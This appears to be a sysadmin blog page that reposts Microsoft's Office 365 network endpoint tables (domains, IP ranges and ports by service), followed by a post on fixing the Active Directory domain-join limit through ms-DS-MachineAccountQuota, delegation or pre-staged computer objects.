Endpoint data below lists requirements for connectivity from a user’s machine to Office 365. It does not include network connections from Microsoft into a customer network, sometimes called hybrid or inbound network connections. See Additional endpoints for more information.

The endpoints are grouped into four service areas. The first three service areas can be independently selected for connectivity. The fourth service area is a common dependency (called Microsoft 365 Common and Office) and must always have network connectivity.

Data columns shown are:

  1. ID: The ID number of the row, also known as an endpoint set. This ID is the same as is returned by the web service for the endpoint set.
  2. Category: Shows whether the endpoint set is categorized as “Optimize”, “Allow”, or “Default”. You can read about these categories and guidance for management of them at New Office 365 endpoint categories. This column also lists which endpoint sets are required to have network connectivity. For endpoint sets which are not required to have network connectivity, we provide notes in this field to indicate what functionality would be missing if the endpoint set is blocked. If you are excluding an entire service area, the endpoint sets listed as required do not require connectivity.
  3. ER: This is Yes if the endpoint set is supported over Azure ExpressRoute with Office 365 route prefixes. The BGP community that includes the route prefixes shown aligns with the service area listed. When ER is No, this means that ExpressRoute is not supported for this endpoint set. However, it should not be assumed that no routes are advertised for an endpoint set where ER is No.
  4. Addresses: Lists the FQDNs or wildcard domain names and IP Address ranges for the endpoint set. Note that an IP Address range is in CIDR format and may include many individual IP Addresses in the specified network.
  5. Ports: Lists the TCP or UDP ports that are combined with the Addresses to form the network endpoint. You may notice some duplication in IP Address ranges where there are different ports listed.

Exchange Online

IDCategoryERAddressesPorts
1Optimize
Required
Yesoutlook.office.com, outlook.office365.com
13.107.6.152/31, 13.107.18.10/31, 13.107.128.0/22, 23.103.160.0/20, 40.96.0.0/13, 40.104.0.0/15, 52.96.0.0/14, 131.253.33.215/32, 132.245.0.0/16, 150.171.32.0/22, 204.79.197.215/32, 2603:1006::/40, 2603:1016::/36, 2603:1026::/36, 2603:1036::/36, 2603:1046::/36, 2603:1056::/36, 2603:1096::/38, 2603:1096:400::/40, 2603:1096:600::/40, 2603:1096:a00::/39, 2603:1096:c00::/40, 2603:10a6:200::/40, 2603:10a6:400::/40, 2603:10a6:600::/40, 2603:10a6:800::/40, 2603:10d6:200::/40, 2620:1ec:4::152/128, 2620:1ec:4::153/128, 2620:1ec:c::10/128, 2620:1ec:c::11/128, 2620:1ec:d::10/128, 2620:1ec:d::11/128, 2620:1ec:8f0::/46, 2620:1ec:900::/46, 2620:1ec:a92::152/128, 2620:1ec:a92::153/128, 2a01:111:f400::/48
TCP: 443, 80
2Allow
Required
Yessmtp.office365.com
13.107.6.152/31, 13.107.18.10/31, 13.107.128.0/22, 23.103.160.0/20, 40.96.0.0/13, 40.104.0.0/15, 52.96.0.0/14, 131.253.33.215/32, 132.245.0.0/16, 150.171.32.0/22, 204.79.197.215/32, 2603:1006::/40, 2603:1016::/36, 2603:1026::/36, 2603:1036::/36, 2603:1046::/36, 2603:1056::/36, 2603:1096::/38, 2603:1096:400::/40, 2603:1096:600::/40, 2603:1096:a00::/39, 2603:1096:c00::/40, 2603:10a6:200::/40, 2603:10a6:400::/40, 2603:10a6:600::/40, 2603:10a6:800::/40, 2603:10d6:200::/40, 2620:1ec:4::152/128, 2620:1ec:4::153/128, 2620:1ec:c::10/128, 2620:1ec:c::11/128, 2620:1ec:d::10/128, 2620:1ec:d::11/128, 2620:1ec:8f0::/46, 2620:1ec:900::/46, 2620:1ec:a92::152/128, 2620:1ec:a92::153/128, 2a01:111:f400::/48
TCP: 587
3Default
Required
Nor1.res.office365.com, r3.res.office365.com, r4.res.office365.comTCP: 443, 80
5Allow
Optional
Notes: Exchange Online IMAP4 migration
Yes*.outlook.office.com, outlook.office365.com
13.107.6.152/31, 13.107.18.10/31, 13.107.128.0/22, 23.103.160.0/20, 40.96.0.0/13, 40.104.0.0/15, 52.96.0.0/14, 131.253.33.215/32, 132.245.0.0/16, 150.171.32.0/22, 204.79.197.215/32, 2603:1006::/40, 2603:1016::/36, 2603:1026::/36, 2603:1036::/36, 2603:1046::/36, 2603:1056::/36, 2603:1096::/38, 2603:1096:400::/40, 2603:1096:600::/40, 2603:1096:a00::/39, 2603:1096:c00::/40, 2603:10a6:200::/40, 2603:10a6:400::/40, 2603:10a6:600::/40, 2603:10a6:800::/40, 2603:10d6:200::/40, 2620:1ec:4::152/128, 2620:1ec:4::153/128, 2620:1ec:c::10/128, 2620:1ec:c::11/128, 2620:1ec:d::10/128, 2620:1ec:d::11/128, 2620:1ec:8f0::/46, 2620:1ec:900::/46, 2620:1ec:a92::152/128, 2620:1ec:a92::153/128, 2a01:111:f400::/48
TCP: 143, 993
6Allow
Optional
Notes: Exchange Online POP3 migration
Yes*.outlook.office.com, outlook.office365.com
13.107.6.152/31, 13.107.18.10/31, 13.107.128.0/22, 23.103.160.0/20, 40.96.0.0/13, 40.104.0.0/15, 52.96.0.0/14, 131.253.33.215/32, 132.245.0.0/16, 150.171.32.0/22, 204.79.197.215/32, 2603:1006::/40, 2603:1016::/36, 2603:1026::/36, 2603:1036::/36, 2603:1046::/36, 2603:1056::/36, 2603:1096::/38, 2603:1096:400::/40, 2603:1096:600::/40, 2603:1096:a00::/39, 2603:1096:c00::/40, 2603:10a6:200::/40, 2603:10a6:400::/40, 2603:10a6:600::/40, 2603:10a6:800::/40, 2603:10d6:200::/40, 2620:1ec:4::152/128, 2620:1ec:4::153/128, 2620:1ec:c::10/128, 2620:1ec:c::11/128, 2620:1ec:d::10/128, 2620:1ec:d::11/128, 2620:1ec:8f0::/46, 2620:1ec:900::/46, 2620:1ec:a92::152/128, 2620:1ec:a92::153/128, 2a01:111:f400::/48
TCP: 995
8Default
Required
No*.outlook.com, *.outlook.office.com, attachments.office.netTCP: 443, 80
9Allow
Required
Yes*.protection.outlook.com
40.92.0.0/15, 40.107.0.0/16, 52.100.0.0/14, 52.238.78.88/32, 104.47.0.0/17, 2a01:111:f403::/48
TCP: 443
10Allow
Required
Yes*.mail.protection.outlook.com
40.92.0.0/15, 40.107.0.0/16, 52.100.0.0/14, 104.47.0.0/17, 2a01:111:f400::/48, 2a01:111:f403::/48
TCP: 25
154Default
Required
Noautodiscover.<tenant>.onmicrosoft.comTCP: 443, 80

SharePoint Online and OneDrive for Business

IDCategoryERAddressesPorts
31Optimize
Required
Yes<tenant>.sharepoint.com, <tenant>-my.sharepoint.com
13.107.136.0/22, 40.108.128.0/17, 52.104.0.0/14, 104.146.128.0/17, 150.171.40.0/22, 2620:1ec:8f8::/46, 2620:1ec:908::/46, 2a01:111:f402::/48
TCP: 443, 80
32Default
Optional
Notes: OneDrive for Business: supportability, telemetry, APIs, and embedded email links
No*.log.optimizely.com, ssw.live.com, storage.live.comTCP: 443
33Default
Optional
Notes: SharePoint Hybrid Search – Endpoint to SearchContentService where the hybrid crawler feeds documents
No*.search.production.apac.trafficmanager.net, *.search.production.emea.trafficmanager.net, *.search.production.us.trafficmanager.netTCP: 443
35Default
Required
No*.wns.windows.com, admin.onedrive.com, officeclient.microsoft.comTCP: 443, 80
36Default
Required
Nog.live.com, oneclient.sfx.msTCP: 443, 80
37Default
Required
No*.sharepointonline.com, cdn.sharepointonline.com, privatecdn.sharepointonline.com, publiccdn.sharepointonline.com, spoprod-a.akamaihd.net, static.sharepointonline.comTCP: 443, 80
38Default
Optional
Notes: SharePoint Online: auxiliary URLs
Noprod.msocdn.com, watson.telemetry.microsoft.comTCP: 443, 80
39Default
Required
No*.svc.ms, <tenant>-files.sharepoint.com, <tenant>-myfiles.sharepoint.comTCP: 443, 80

Skype for Business Online and Microsoft Teams

IDCategoryERAddressesPorts
11Optimize
Required
Yes13.107.64.0/18, 52.112.0.0/14, 52.120.0.0/14UDP: 3478, 3479, 3480, 3481
12Allow
Required
Yes*.lync.com, *.teams.microsoft.com, teams.microsoft.com
13.107.64.0/18, 52.112.0.0/14, 52.120.0.0/14, 52.238.119.141/32, 52.244.160.207/32, 2603:1027::/48, 2603:1037::/48, 2603:1047::/48, 2603:1057::/48, 2620:1ec:6::/48, 2620:1ec:40::/42
TCP: 443, 80
13Allow
Required
Yes*.broadcast.skype.com, broadcast.skype.com
13.107.64.0/18, 52.112.0.0/14, 52.120.0.0/14, 52.238.119.141/32, 52.244.160.207/32, 2603:1027::/48, 2603:1037::/48, 2603:1047::/48, 2603:1057::/48, 2620:1ec:6::/48, 2620:1ec:40::/42
TCP: 443
14Default
Required
Noquicktips.skypeforbusiness.comTCP: 443
15Default
Required
No*.sfbassets.com, *.urlp.sfbassets.com, skypemaprdsitus.trafficmanager.netTCP: 443, 80
16Default
Required
No*.keydelivery.mediaservices.windows.net, *.msecnd.net, *.streaming.mediaservices.windows.net, ajax.aspnetcdn.com, mlccdn.blob.core.windows.netTCP: 443
17Default
Required
Noaka.ms, amp.azure.netTCP: 443
18Default
Optional
Notes: Federation with Skype and public IM connectivity: Contact picture retrieval
No*.users.storage.live.comTCP: 443
19Default
Optional
Notes: Applies only to those who deploy the Conference Room Systems
No*.adl.windows.comTCP: 443, 80
22Allow
Optional
Notes: Teams: Messaging interop with Skype for Business
Yes*.skypeforbusiness.com
13.107.64.0/18, 52.112.0.0/14, 52.120.0.0/14, 52.238.119.141/32, 52.244.160.207/32, 2603:1027::/48, 2603:1037::/48, 2603:1047::/48, 2603:1057::/48, 2620:1ec:6::/48, 2620:1ec:40::/42
TCP: 443
26Default
Required
No*.msedge.net, compass-ssl.microsoft.comTCP: 443
27Default
Required
No*.mstea.ms, *.secure.skypeassets.com, mlccdnprod.azureedge.net, videoplayercdn.osi.office.netTCP: 443
29Default
Optional
Notes: Yammer third-party integration
No*.tenor.comTCP: 443, 80
127Default
Required
No*.skype.comTCP: 443, 80
146Default
Required
Nostatics.teams.microsoft.comTCP: 443

Microsoft 365 Common and Office Online

IDCategoryERAddressesPorts
40Default
Optional
Notes: Office 365 Video CDNs
Noajax.aspnetcdn.com, r3.res.outlook.com, spoprod-a.akamaihd.netTCP: 443
41Default
Optional
Notes: Microsoft Stream
No*.api.microsoftstream.com, *.notification.api.microsoftstream.com, amp.azure.net, api.microsoftstream.com, s0.assets-yammer.com, vortex.data.microsoft.com, web.microsoftstream.comTCP: 443
42Default
Optional
Notes: Microsoft Stream CDN
Noamsglob0cdnstream11.azureedge.net, amsglob0cdnstream12.azureedge.netTCP: 443
43Default
Optional
Notes: Microsoft Stream 3rd party integration (including CDNs)
Nonps.onyx.azure.netTCP: 443
44Default
Optional
Notes: Microsoft Stream – unauthenticated
No*.azureedge.net, *.media.azure.net, *.streaming.mediaservices.windows.netTCP: 443
45Default
Optional
Notes: Office 365 Video
No*.keydelivery.mediaservices.windows.net, *.streaming.mediaservices.windows.netTCP: 443
46Allow
Required
Yes*.online.office.com, *broadcast.officeapps.live.com, *excel.officeapps.live.com, *onenote.officeapps.live.com, *powerpoint.officeapps.live.com, *rtc.officeapps.live.com, *shared.officeapps.live.com, *view.officeapps.live.com, *visio.officeapps.live.com, *word-edit.officeapps.live.com, office.live.com
13.107.6.171/32, 13.107.140.6/32, 52.108.0.0/14, 52.238.106.116/32, 52.244.37.168/32, 52.244.203.72/32, 52.244.207.172/32, 52.244.223.198/32, 52.247.150.191/32, 2603:1010:2::cb/128, 2603:1010:200::c7/128, 2603:1020:200::682f:a0fd/128, 2603:1020:201:9::c6/128, 2603:1020:600::a1/128, 2603:1020:700::a2/128, 2603:1020:800:2::6/128, 2603:1020:900::8/128, 2603:1030:7::749/128, 2603:1030:800:5::bfee:ad3c/128, 2603:1030:f00::17/128, 2603:1030:1000::21a/128, 2603:1040:200::4f3/128, 2603:1040:401::762/128, 2603:1040:601::60f/128, 2603:1040:a01::1e/128, 2603:1040:c01::28/128, 2603:1040:e00:1::2f/128, 2603:1040:f00::1f/128, 2603:1050:1::cd/128, 2620:1ec:8fc::6/128, 2620:1ec:a92::171/128, 2a01:111:f100:2000::a83e:3019/128, 2a01:111:f100:2002::8975:2d79/128, 2a01:111:f100:2002::8975:2da8/128, 2a01:111:f100:7000::6fdd:6cd5/128, 2a01:111:f100:a004::bfeb:88cf/128
TCP: 443
47Default
Required
No*.cdn.office.net, contentstorage.osi.office.netTCP: 443
49Default
Required
No*.onenote.comTCP: 443
50Default
Optional
Notes: OneNote notebooks (wildcards)
No*.microsoft.com, *.msecnd.net, *.office.netTCP: 443
51Default
Required
No*cdn.onenote.netTCP: 443
52Default
Optional
Notes: OneNote 3rd party supporting services and CDNs
Noad.atdmt.com, s.ytimg.com, www.youtube.comTCP: 443
53Default
Required
Noajax.aspnetcdn.com, apis.live.net, cdn.optimizely.com, officeapps.live.com, www.onedrive.comTCP: 443
56Allow
Required
Yes*.msappproxy.net, *.msftidentity.com, *.msidentity.com, account.activedirectory.windowsazure.com, accounts.accesscontrol.windows.net, adminwebservice.microsoftonline.com, api.passwordreset.microsoftonline.com, autologon.microsoftazuread-sso.com, becws.microsoftonline.com, clientconfig.microsoftonline-p.net, companymanager.microsoftonline.com, device.login.microsoftonline.com, graph.microsoft.com, graph.windows.net, login.microsoft.com, login.microsoftonline.com, login.microsoftonline-p.com, login.windows.net, logincert.microsoftonline.com, loginex.microsoftonline.com, login-us.microsoftonline.com, nexus.microsoftonline-p.com, passwordreset.microsoftonline.com, provisioningapi.microsoftonline.com
20.190.128.0/18, 40.126.0.0/18, 2603:1006:2000::/48, 2603:1007:200::/48, 2603:1016:1400::/48, 2603:1017::/48, 2603:1026:3000::/48, 2603:1027:1::/48, 2603:1036:3000::/48, 2603:1037:1::/48, 2603:1046:2000::/48, 2603:1047:1::/48, 2603:1056:2000::/48, 2603:1057:2::/48
TCP: 443, 80
59Default
Required
No*.microsoftonline.com, *.microsoftonline-p.com, *.msauth.net, *.msauthimages.net, *.msecnd.net, *.msftauth.net, *.msftauthimages.net, *.phonefactor.net, enterpriseregistration.windows.net, management.azure.com, policykeyservice.dc.ad.msft.net, secure.aadcdn.microsoftonline-p.comTCP: 443, 80
64Allow
Required
Yes*.manage.office.com, *.protection.office.com, manage.office.com, protection.office.com
13.80.125.22/32, 13.91.91.243/32, 13.107.6.156/31, 13.107.7.190/31, 13.107.9.156/31, 40.81.156.154/32, 40.90.218.198/32, 52.108.0.0/14, 52.174.56.180/32, 52.183.75.62/32, 52.184.165.82/32, 104.42.230.91/32, 157.55.145.0/25, 157.55.155.0/25, 157.55.227.192/26, 2603:1006:1400::/40, 2603:1010:2:2::a/128, 2603:1016:2400::/40, 2603:1020:400::26/128, 2603:1020:600::12f/128, 2603:1020:600::1f0/128, 2603:1020:800:2::45/128, 2603:1026:2400::/40, 2603:1030:7:5::25/128, 2603:1036:2400::/40, 2603:1040:400::5e/128, 2603:1040:601::2/128, 2603:1046:1400::/40, 2603:1056:1400::/40, 2a01:111:200a:a::/64, 2a01:111:2035:8::/64, 2a01:111:f100:1002::4134:c440/128, 2a01:111:f100:2000::a83e:33a8/128, 2a01:111:f100:2002::8975:2d98/128, 2a01:111:f100:3000::a83e:1884/128, 2a01:111:f100:3002::8987:3552/128, 2a01:111:f100:4002::9d37:c021/128, 2a01:111:f100:4002::9d37:c3de/128, 2a01:111:f100:6000::4134:a6c7/128, 2a01:111:f100:6000::4134:b84b/128, 2a01:111:f100:7000::6fdd:5245/128, 2a01:111:f100:7000::6fdd:6fc4/128, 2a01:111:f100:8000::4134:941b/128, 2a01:111:f100:9001::1761:914f/128, 2a01:111:f406:1::/64, 2a01:111:f406:c00::/64, 2a01:111:f406:1004::/64, 2a01:111:f406:1805::/64, 2a01:111:f406:3404::/64, 2a01:111:f406:8000::/64, 2a01:111:f406:8801::/64, 2a01:111:f406:a003::/64
TCP: 443
65Allow
Required
Yes*.portal.cloudappsecurity.com, account.office.net, admin.microsoft.com, home.office.com, portal.office.com, www.office.com
13.80.125.22/32, 13.91.91.243/32, 13.107.6.156/31, 13.107.7.190/31, 13.107.9.156/31, 40.81.156.154/32, 40.90.218.198/32, 52.108.0.0/14, 52.174.56.180/32, 52.183.75.62/32, 52.184.165.82/32, 104.42.230.91/32, 157.55.145.0/25, 157.55.155.0/25, 157.55.227.192/26, 2603:1006:1400::/40, 2603:1010:2:2::a/128, 2603:1016:2400::/40, 2603:1020:400::26/128, 2603:1020:600::12f/128, 2603:1020:600::1f0/128, 2603:1020:800:2::45/128, 2603:1026:2400::/40, 2603:1030:7:5::25/128, 2603:1036:2400::/40, 2603:1040:400::5e/128, 2603:1040:601::2/128, 2603:1046:1400::/40, 2603:1056:1400::/40, 2a01:111:200a:a::/64, 2a01:111:2035:8::/64, 2a01:111:f100:1002::4134:c440/128, 2a01:111:f100:2000::a83e:33a8/128, 2a01:111:f100:2002::8975:2d98/128, 2a01:111:f100:3000::a83e:1884/128, 2a01:111:f100:3002::8987:3552/128, 2a01:111:f100:4002::9d37:c021/128, 2a01:111:f100:4002::9d37:c3de/128, 2a01:111:f100:6000::4134:a6c7/128, 2a01:111:f100:6000::4134:b84b/128, 2a01:111:f100:7000::6fdd:5245/128, 2a01:111:f100:7000::6fdd:6fc4/128, 2a01:111:f100:8000::4134:941b/128, 2a01:111:f100:9001::1761:914f/128, 2a01:111:f406:1::/64, 2a01:111:f406:c00::/64, 2a01:111:f406:1004::/64, 2a01:111:f406:1805::/64, 2a01:111:f406:3404::/64, 2a01:111:f406:8000::/64, 2a01:111:f406:8801::/64, 2a01:111:f406:a003::/64
TCP: 443, 80
66Default
Required
Nosuite.office.netTCP: 443
67Default
Optional
Notes: Security and Compliance Center eDiscovery export
No*.blob.core.windows.netTCP: 443
68Default
Optional
Notes: Portal and shared: 3rd party office integration. (including CDNs)
No*.helpshift.com, *.localytics.com, analytics.localytics.com, api.localytics.com, connect.facebook.net, firstpartyapps.oaspapps.com, outlook.uservoice.com, prod.firstpartyapps.oaspapps.com.akadns.net, rink.hockeyapp.net, sdk.hockeyapp.net, telemetryservice.firstpartyapps.oaspapps.com, web.localytics.com, webanalytics.localytics.com, wus-firstpartyapps.oaspapps.comTCP: 443
69Default
Required
No*.aria.microsoft.com, *.events.data.microsoft.comTCP: 443
70Default
Required
No*.o365weve.com, amp.azure.net, appsforoffice.microsoft.com, assets.onestore.ms, auth.gfx.ms, c1.microsoft.com, client.hip.live.com, contentstorage.osi.office.net, dgps.support.microsoft.com, docs.microsoft.com, msdn.microsoft.com, platform.linkedin.com, prod.msocdn.com, shellprod.msocdn.com, support.content.office.net, support.microsoft.com, technet.microsoft.com, videocontent.osi.office.net, videoplayercdn.osi.office.netTCP: 443
71Default
Required
No*.office365.comTCP: 443
72Default
Optional
Notes: Azure Rights Management (RMS) with Office 2010 clients
No*.cloudapp.netTCP: 443
73Default
Required
No*.aadrm.com, *.azurerms.com, *.informationprotection.azure.com, ecn.dev.virtualearth.net, informationprotection.hosting.portal.azure.netTCP: 443
74Default
Optional
Notes: Remote Connectivity Analyzer – Initiate connectivity tests.
Notestconnectivity.microsoft.comTCP: 443, 80
75Default
Optional
Notes: Graph.windows.net, Office 365 Management Pack for Operations Manager, SecureScore, Azure AD Device Registration, Forms, StaffHub, Application Insights, captcha services
No*.hockeyapp.net, *.sharepointonline.com, cdn.forms.office.net, dc.applicationinsights.microsoft.com, dc.services.visualstudio.com, forms.microsoft.com, mem.gfx.ms, office365servicehealthcommunications.cloudapp.net, signup.microsoft.com, staffhub.ms, staffhub.uservoice.com, staffhubweb.azureedge.net, watson.telemetry.microsoft.comTCP: 443
76Default
Optional
Notes: Microsoft Azure RemoteApp
Novortex.data.microsoft.comTCP: 443
77Allow
Required
Yesnexus.officeapps.live.com, nexusrules.officeapps.live.com, portal.microsoftonline.com
13.107.6.171/32, 13.107.140.6/32, 52.108.0.0/14, 52.238.106.116/32, 52.244.37.168/32, 52.244.203.72/32, 52.244.207.172/32, 52.244.223.198/32, 52.247.150.191/32, 2603:1010:2::cb/128, 2603:1010:200::c7/128, 2603:1020:200::682f:a0fd/128, 2603:1020:201:9::c6/128, 2603:1020:600::a1/128, 2603:1020:700::a2/128, 2603:1020:800:2::6/128, 2603:1020:900::8/128, 2603:1030:7::749/128, 2603:1030:800:5::bfee:ad3c/128, 2603:1030:f00::17/128, 2603:1030:1000::21a/128, 2603:1040:200::4f3/128, 2603:1040:401::762/128, 2603:1040:601::60f/128, 2603:1040:a01::1e/128, 2603:1040:c01::28/128, 2603:1040:e00:1::2f/128, 2603:1040:f00::1f/128, 2603:1050:1::cd/128, 2620:1ec:8fc::6/128, 2620:1ec:a92::171/128, 2a01:111:f100:2000::a83e:3019/128, 2a01:111:f100:2002::8975:2d79/128, 2a01:111:f100:2002::8975:2da8/128, 2a01:111:f100:7000::6fdd:6cd5/128, 2a01:111:f100:a004::bfeb:88cf/128
TCP: 443
78Default
Optional
Notes: Some Office 365 features require endpoints within these domains (including CDNs). Many specific FQDNs within these wildcards have been published recently as we work to either remove or better explain our guidance relating to these wildcards.
No*.microsoft.com, *.msocdn.com, *.office.net, *.onmicrosoft.comTCP: 443, 80
79Default
Required
Noo15.officeredir.microsoft.com, ocsredir.officeapps.live.com, officepreviewredir.microsoft.com, officeredir.microsoft.com, r.office.microsoft.comTCP: 443, 80
80Default
Required
Noocws.officeapps.live.comTCP: 443
81Default
Required
Noodc.officeapps.live.comTCP: 443, 80
82Default
Required
Noroaming.officeapps.live.comTCP: 443, 80
83Default
Required
Noactivation.sls.microsoft.comTCP: 443
84Default
Required
Nocrl.microsoft.comTCP: 443, 80
85Default
Required
Nools.officeapps.live.comTCP: 443
86Default
Required
Nooffice15client.microsoft.com, officeclient.microsoft.comTCP: 443
87Default
Required
Noocsa.officeapps.live.comTCP: 443, 80
88Default
Required
Noinsertmedia.bing.office.netTCP: 443, 80
89Default
Required
Nogo.microsoft.com, support.office.comTCP: 443, 80
90Default
Required
Nomrodevicemgr.officeapps.live.comTCP: 443
91Default
Required
Noajax.aspnetcdn.com, cdn.odc.officeapps.live.comTCP: 443, 80
92Default
Required
Noofficecdn.microsoft.com, officecdn.microsoft.com.edgesuite.netTCP: 443, 80
93Default
Optional
Notes: ProPlus: auxiliary URLs
Noajax.microsoft.com, c.bing.net, excelbingmap.firstpartyapps.oaspapps.com, excelcs.officeapps.live.com, ocos-office365-s2s.msedge.net, omextemplates.content.office.net, peoplegraph.firstpartyapps.oaspapps.com, pptcs.officeapps.live.com, tse1.mm.bing.net, uci.officeapps.live.com, watson.microsoft.com, wikipedia.firstpartyapps.oaspapps.com, wordcs.officeapps.live.com, www.bing.comTCP: 443, 80
95Default
Optional
Notes: Outlook for Android and iOS
No*.acompli.net, *.outlookmobile.comTCP: 443
96Default
Optional
Notes: Outlook for Android and iOS: Authentication
No*.manage.microsoft.com, api.office.com, go.microsoft.com, login.windows-ppe.net, secure.aadcdn.microsoftonline-p.com, vortex.data.microsoft.comTCP: 443
97Default
Optional
Notes: Outlook for Android and iOS: Consumer Outlook.com and OneDrive integration
Noaccount.live.com, apis.live.net, auth.gfx.ms, login.live.comTCP: 443
98Default
Optional
Notes: Outlook for Android and iOS: Google integration
Noaccounts.google.com, mail.google.com, www.googleapis.comTCP: 443
99Default
Optional
Notes: Outlook for Android and iOS: Yahoo integration
Noapi.login.yahoo.com, social.yahooapis.comTCP: 443
100Default
Optional
Notes: Outlook for Android and iOS: DropBox integration
Noapi.dropboxapi.com, www.dropbox.comTCP: 443
101Default
Optional
Notes: Outlook for Android and iOS: Box integration
Noapp.box.comTCP: 443
102Default
Optional
Notes: Outlook for Android and iOS: Facebook integration
Nograph.facebook.com, m.facebook.comTCP: 443
103Default
Optional
Notes: Outlook for Android and iOS: Evernote integration
Nowww.evernote.comTCP: 443
104Default
Optional
Notes: Outlook for Android and iOS: WunderList integration
Noa.wunderlist.com, www.wunderlist.comTCP: 443
105Default
Optional
Notes: Outlook for Android and iOS: Outlook Privacy
Nobit.ly, www.acompli.comTCP: 443
106Default
Optional
Notes: Outlook for Android and iOS: User voice integration
Noby.uservoice.com, outlook.uservoice.comTCP: 443
109Default
Optional
Notes: Outlook for Android and iOS: Flurry log integration
Nodata.flurry.comTCP: 443
110Default
Optional
Notes: Outlook for Android and iOS: Adjust integration
Noapp.adjust.comTCP: 443
111Default
Optional
Notes: Outlook for Android and iOS: Hockey log integration
Norink.hockeyapp.net, sdk.hockeyapp.netTCP: 443
112Default
Optional
Notes: Outlook for Android and iOS: Helpshift integration
Noacompli.helpshift.comTCP: 443
113Default
Optional
Notes: Outlook for Android and iOS: Play Store integration (Android only)
Noplay.google.comTCP: 443
114Default
Optional
Notes: Office Mobile URLs
No*.appex.bing.com, *.appex-rf.msn.com, *.itunes.apple.com, c.bing.com, c.live.com, cl2.apple.com, client.hip.live.com, d.docs.live.net, directory.services.live.com, docs.live.net, en-us.appex-rf.msn.com, foodanddrink.services.appex.bing.com, odcsm.officeapps.live.com, office.microsoft.com, officeimg.vo.msecnd.net, partnerservices.getmicrosoftkey.com, roaming.officeapps.live.com, sas.office.microsoft.com, signup.live.com, view.atdmt.com, watson.telemetry.microsoft.com, weather.tile.appex.bing.comTCP: 443, 80
115Default
Optional
Notes: Outlook for Android and iOS: Meetup integration
Noapi.meetup.com, secure.meetup.comTCP: 443
116Default
Optional
Notes: Office for iPad URLs
Noaccount.live.com, auth.gfx.ms, c.bing.com, c.live.com, cl2.apple.com, client.hip.live.com, directory.services.live.com, docs.live.net, en-us.appex-rf.msn.com, foodanddrink.services.appex.bing.com, go.microsoft.com, login.live.com, office.microsoft.com, p100-sandbox.itunes.apple.com, partnerservices.getmicrosoftkey.com, roaming.officeapps.live.com, sas.office.microsoft.com, signup.live.com, view.atdmt.com, watson.telemetry.microsoft.com, weather.tile.appex.bing.comTCP: 443, 80
117Default
Optional
Notes: Yammer
No*.yammer.com, *.yammerusercontent.comTCP: 443
118Default
Optional
Notes: Yammer CDN
No*.assets-yammer.comTCP: 443
120Default
Optional
Notes: Planner CDNs
Noajax.aspnetcdn.comTCP: 443
121Default
Optional
Notes: Planner: auxiliary URLs
Nowww.outlook.comTCP: 443, 80
122Default
Optional
Notes: Sway CDNs
Noeus-www.sway-cdn.com, eus-www.sway-extensions.com, wus-www.sway-cdn.com, wus-www.sway-extensions.comTCP: 443
123Default
Optional
Notes: Sway website analytics
Nowww.google-analytics.comTCP: 443
124Default
Optional
Notes: Sway
Nosway.com, www.sway.comTCP: 443
125Default
Required
No*.entrust.net, *.geotrust.com, *.omniroot.com, *.public-trust.com, *.symcb.com, *.symcd.com, *.verisign.com, *.verisign.net, apps.identrust.com, cacerts.digicert.com, cert.int-x3.letsencrypt.org, crl.globalsign.com, crl.globalsign.net, crl.identrust.com, crl.microsoft.com, crl3.digicert.com, crl4.digicert.com, isrg.trustid.ocsp.identrust.com, mscrl.microsoft.com, ocsp.digicert.com, ocsp.globalsign.com, ocsp.int-x3.letsencrypt.org, ocsp.msocsp.com, ocsp2.globalsign.com, ocspx.digicert.com, secure.globalsign.com, www.digicert.com, www.microsoft.comTCP: 443, 80
126Default
Optional
Notes: Connection to the speech service is required for Office Dictation features. If connectivity is not allowed, Dictation will be disabled.
Noofficespeech.platform.bing.comTCP: 443
128Default
Required
No*.config.office.net, *.manage.microsoft.comTCP: 443
130Default
Required
Nolpcres.delve.office.comTCP: 443
147Default
Required
No*.office.comTCP: 443, 80
148Default
Required
Nocdnprod.myanalytics.microsoft.com, myanalytics.microsoft.com, myanalytics-gcc.microsoft.comTCP: 443, 80
149Default
Required
Noworkplaceanalytics.cdn.office.net, workplaceanalytics.office.comTCP: 443, 80
150Default
Optional
Notes: Blocking these endpoints will affect the ability to access the Office 365 ProPlus deployment and management features via the portal.
No*.officeconfig.msocdn.comTCP: 443
152Default
Optional
Notes: These endpoints enables the Office Scripts functionality in Office clients available through the Automate tab. This feature can also be disabled through the Office 365 Admin portal.
No*.microsoftusercontent.comTCP: 443
153Default
Required
No*.azure-apim.net, *.flow.microsoft.com, *.powerapps.comTCP: 443

Source :
https://docs.microsoft.com/en-us/office365/enterprise/urls-and-ip-address-ranges

You Have Exceeded the Maximum Number of Computer Accounts

The following error occurred attempting to join the domain {domain-name}

You computer could not be joined to the domain, You have
exceeded the maximum number of computer accounts you are
allowed to create in this domain. Contact your system|
administrator to have this limit reset or increased.

To be honest there’s no way I can think of to reset that limit, (short of deleting and recreating your domain user account!) So what’s going on? Well every authenticated domain user has the RIGHT to join a computer to the domain, and the amount of computers they can join is limited to 10 (ten).

Exceptions / Users Not Affected

Members of the domain admins group, and users that have been delegated the right to create a computer object are exempt this limit. 

Solution Option 1 – Use an Administrative Account

Pretty straight forward, the easiest way to avoid this is to add computers to the domain using an account that’s a member off the Domain Admins Group.

Solution Option 2 – Raise The Limit From 10

This limit is set at a Domain level, i.e. it’s not set on a particular user, so you have to raise the limit for ALL Users. To do this log onto a domain controller and launch Adsiedit.msc > Connect To > Default Naming Context > OK.

Select CN={Your Domain} > Properties > Locate ms-DS-MachineAccountQuota > Edit > Change the value from 10 to something greater.

Solution Option 3 – Delegate Create Computer Object Right

Locate the OU (or container) that your new computer objects get added to, (I say container because ‘Computers’ is NOT an OU) > Right Click > Delegate Control > Next > Add your domain user > Next > Create a custom task > Next.

Only the following object in the folder > Tick: Computer Objects > Tick: Create selected object in this folder > Next > Tick: Property specific > Tick: Read All Properties > Next > Finish

Solution Option 4 – Pre-Stage Computer Objects in Active Directory

Not very scalable, but you can pre-create the computer object before the computer is joined to the Domain, (providing you know its computer-name / host-name). This can be done in Active directory Users and Computers.

Then you can simply join the computer to the domain.

How Does This Work

When a computer is joined to a domain a few things happen, the account you are using is checked, if it’s a normal, (not delegated or non domain admin) user, then the SID (Security Identifier) of that user is stamped on the COMPUTER object in a value called ms-DS-CreatorSID 

What does NOT happen: There is NOT value on the USER object that increments by one for each machine joined to the domain, the ONLY reference is on the COMPUTER object. Yes this seems inefficient, but there we go that’s how it works.

If the user has delegated rights to create computer objects, or is a member of domain admins then, ms-DS-CreatorSID is left empty, (if you query it using PowerShell or programatically it will return ‘null’).

Finding Out Who Joined a Computer to The Domain

